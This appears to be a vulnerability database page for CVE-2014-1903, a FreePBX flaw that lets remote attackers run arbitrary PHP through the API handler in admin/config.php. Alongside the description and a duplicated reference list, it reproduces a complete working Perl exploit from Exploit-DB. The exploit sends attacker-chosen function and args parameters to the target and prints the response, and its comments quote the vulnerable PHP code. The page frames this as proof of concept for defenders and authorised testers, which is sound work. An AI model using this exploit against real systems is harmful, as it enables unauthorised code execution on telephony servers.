CVE-2014-1903
Description
admin/libraries/view.functions.php in FreePBX 2.9 before 2.9.0.14, 2.10 before 2.10.1.15, 2.11 before 2.11.0.23, and 12 before 12.0.1alpha22 does not restrict the set of functions accessible to the API handler, which allows remote attackers to execute arbitrary PHP code via the function and args parameters to admin/config.php.
Predictions
Heuristic predictions, AS-IS, for prioritization only.
Mitigations
No mitigations published for this CVE yet.
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Exploits
Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.
Exploit-DB
FreePBX 2.11.0 - Remote Command Execution
#!/usr/bin/perl
use strict;
use warnings;
use IO::Socket::INET;
# Exploit Title: FreePBX 2.9,2.10,2.11,12 Remote Command Execution
# Google Dork: n/a
# Date: 2/25/14
# Exploit Author: @0x00string
# Vendor Homepage: http://www.freepbx.org/
# Software Link: http://mirror.freepbx.org/freepbx-2.11.0.tar.gz
# Version: 2.11 tested working
# Tested on: Ubuntu 12.04, 13.10
# CVE : CVE-2014-1903
# References:
# http://seclists.org/bugtraq/2014/Feb/42
# http://issues.freepbx.org/browse/FREEPBX-7123
# http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-1903
#
# Developer Advisory:
# http://www.freepbx.org/news/2014-02-06/security-vulnerability-notice
# in /admin/config.php
# // handle special requests
# if (!isset($no_auth) && isset($_REQUEST['handler'])) {
# $module = isset($_REQUEST['module']) ? $_REQUEST['module'] : '';
# $file = isset($_REQUEST['file']) ? $_REQUEST['file'] : '';
# fileRequestHandler($_REQUEST['handler'], $module, $file);
# exit();
# }
# in /admin/library/view.functions.php
# case 'api':
# if (isset($_REQUEST['function']) && function_exists($_REQUEST['function'])) {
# $function = $_REQUEST['function'];
# $args = isset($_REQUEST['args'])?$_REQUEST['args']:'';
#
# //currently works for one arg functions, eventually need to clean this up to except more args
# $result = $function($args);
# $jr = json_encode($result);
# } else {
# $jr = json_encode(null);
# }
# header("Content-type: application/json");
# echo $jr;
# break;
$| = 1;
my $sock = new IO::Socket::INET (
PeerHost => $ARGV[0],
PeerPort => '80',
Proto => 'tcp',
);
die "$!\n" unless $sock;
my $func = $ARGV[1];
my $args = "";
my $i = 0;
my $max = 1;
foreach(@ARGV) {
if ($i > 1) {
$args .= $_;
}
unless($i > (scalar(@ARGV) - 2)) {
$args .= "%20";
}
$i++;
}
my $payload = "display=A&handler=api&file=A&module=A&function=" . $func . "&args=" . $args;
chomp($payload);
print "payload is " . $payload . "\n";
my $packet = "GET http://" . $ARGV[0] . "/admin/config.php?" . $payload . "\r\n\r\n";
my $size = $sock->send($packet);
shutdown($sock, 1);
my $resp;
$sock->recv($resp, 1024);
print $resp . "\n";
$sock->close();
exit(0);
FreePBX - 'config.php' Remote Code Execution (Metasploit)
Metasploit modules
References
- http://archives.neohapsis.com/archives/fulldisclosure/2014-02/0097.html
- http://archives.neohapsis.com/archives/fulldisclosure/2014-02/0111.html
- http://code.freepbx.org/changelog/FreePBX_Framework?cs=a29382efeb293ef4f42aa9b841dfc8eabb2d1e03
- http://code.freepbx.org/changelog/FreePBX_SVN?cs=16429
- http://issues.freepbx.org/browse/FREEPBX-7117
- http://issues.freepbx.org/browse/FREEPBX-7123
- http://osvdb.org/103240
- http://packetstormsecurity.com/files/125166/FreePBX-2.x-Code-Execution.html
- http://packetstormsecurity.com/files/125215/FreePBX-2.9-Remote-Code-Execution.html
- http://www.freepbx.org/news/2014-02-06/security-vulnerability-notice
- http://www.securityfocus.com/archive/1/531040/100/0/threaded
- https://github.com/0x00string/oldays/blob/master/CVE-2014-1903.pl
- http://archives.neohapsis.com/archives/fulldisclosure/2014-02/0097.html
- http://archives.neohapsis.com/archives/fulldisclosure/2014-02/0111.html
- http://code.freepbx.org/changelog/FreePBX_Framework?cs=a29382efeb293ef4f42aa9b841dfc8eabb2d1e03
- http://code.freepbx.org/changelog/FreePBX_SVN?cs=16429
- http://issues.freepbx.org/browse/FREEPBX-7117
- http://issues.freepbx.org/browse/FREEPBX-7123
- http://osvdb.org/103240
- http://packetstormsecurity.com/files/125166/FreePBX-2.x-Code-Execution.html
- http://packetstormsecurity.com/files/125215/FreePBX-2.9-Remote-Code-Execution.html
- http://www.freepbx.org/news/2014-02-06/security-vulnerability-notice
- http://www.securityfocus.com/archive/1/531040/100/0/threaded
- https://github.com/0x00string/oldays/blob/master/CVE-2014-1903.pl
CWEs
CWE-264
Community-verified mitigations for this CVE will appear above when contributors publish them.
Verify integrity in audit chain (admin only). AS-IS.